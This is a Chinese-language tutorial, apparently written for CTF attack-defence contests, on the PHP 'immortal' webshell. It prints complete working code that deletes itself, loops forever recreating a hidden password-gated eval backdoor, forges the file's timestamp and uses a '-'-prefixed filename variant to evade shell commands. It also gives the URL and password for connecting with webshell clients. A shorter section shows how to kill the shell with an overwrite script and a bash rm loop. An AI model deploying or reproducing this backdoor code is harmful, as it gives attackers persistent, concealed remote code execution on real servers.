不死马即内存马,它会写进进程里,并且无限地在指定目录中生成木马文件
这里以PHP不死马为例
测试代码:
<?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '.test.php'; $code = '<?php if(md5($_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>'; while (1){ file_put_contents($file,$code); system('touch -m -d "2018-12-01 09:10:12" .test.php'); usleep(5000); } ?>
上面代码即为最简单的不死马,其目的是创建一个名为".test.php"的PHP文件,该文件包含一个带有密码验证的后门,允许执行任意PHP代码。
关于代码的详细解释:
1、ignore_user_abort(true);
设置PHP脚本忽略用户中止连接,即使用户在浏览器中停止加载页面,脚本仍然会继续执行。
2、set_time_limit(0);
设置脚本执行时间限制为0,意味着脚本可以无限期地运行,不会被PHP的执行时间限制所中断。
3、unlink(__FILE__);
删除当前正在执行的PHP脚本文件,这是一种尝试隐藏脚本的行为,以防止被发现。
4、$file = '.test.php';
定义一个变量$file,它包含了要写入的文件名,即".test.php"。
文件最前面带上.就会变成隐藏文件
5、$code = '<?php if(md5($_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>';
定义一个变量$code,其中包含了PHP代码。这段代码首先检查通过GET请求传递的"pass"参数的MD5哈希值是否等于"098f6bcd4621d373cade4e832627b4f6",如果验证成功,它会尝试执行通过POST请求传递的名为"test"的PHP代码。
6、while (1){...}
这是一个无限循环,它将不断执行以下操作:
a. file_put_contents($file, $code);
将上述定义的$code写入文件$file,也就是".test.php",以便不断更新文件内容。
b. system('touch -m -d "2018-12-01 09:10:12" .test.php'); -
使用system函数,它会执行系统命令touch,以修改".test.php"文件的修改时间为"2018-12-01 09:10:12",这样可以欺骗文件的最后修改时间,以防止检测。
c. usleep(5000);
等待5毫秒后继续循环,这个睡眠操作是为了降低脚本的资源消耗,避免被系统检测到异常行为。
其中 098f6bcd4621d373cade4e832627b4f6 是加密后的md5值,之所以要进行加密是防止我们的木马被其他队伍利用,这里只是为了测试,加密前内容为test
上传该PHP文件后进行访问
访问后会在该路径下循环生成名字为 .test.php 的不死马隐藏文件
使用蚁剑或者菜刀连接生成的webshell:
http://文件所在路径/.test.php?pass=test
连接密码:test
尝试删除该文件,你会发现无法删除,这就是不死马,因为它已经写入了进程
使用ls和ll这种命令根本查找不到它,在前面代码我们说了,它会进行自动删除
只有查看新增文件才能发现它
find ./ -cmin -30 #查看30分钟内创建的文件
或者除非你知道这个不死马的名字,也可使用find命令查找(./表示在当前目录下)
处理方法:
1、写入同名文件克制不死马
测试代码:
<?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '.test.php'; $code = 'come on!'; while (1){ file_put_contents($file,$code); system('touch -m -d "2018-12-01 09:10:12" .test.php'); usleep(1000); } ?>
注意:usleep的时间一定要比不死马小,$code修改为无害内容即可
假设文件命名为killshell.php,上传该文件并访问它
注意:一定要先去访问它一遍才能触发写入文件
再次尝试连接webshell发现已经连不上了,返回数据为空
在服务器查看webshell的内容
可以看到,内容不再是一句话木马,而变成了我们后面写入的无害内容
2、使用条件竞争查杀不死马
测试代码:
这是一个bash脚本
#!/bin/bash while true do #kill -9 进程ID rm -rf .test.php done
如果能查到不死马的进程ID也可以kill命令和rm命令同时进行
使用命令 top | grep httpd 进行查询或者ps aux列出所有进程,找到要查杀的进程
新建查杀脚本
vim rmshell.sh
添加最高权限
chmod 777 rmshell.sh
在后台不断运行该脚本
nohup ./rmshell.sh &
再次查看不死马,发现已经不存在了
简单查看一下
拓展:变种不死马
这里写入的木马以-开头,而不是.开头
在 Linux 命令行中,命令在追加参数时都是用的-,所以,如果对这样方式命名的文件执行命令,都会将这个文件当做参数来执行,没有该参数就会报错,以至于命令无法在这个不死马上执行,但缺点就是隐蔽性没有以.开头的好。
<?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '-test.php'; $code = '<?php if(md5($_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>'; while (1){ file_put_contents($file,$code); system('touch -m -d "2018-12-01 09:10:12" -test.php'); usleep(5000); } ?>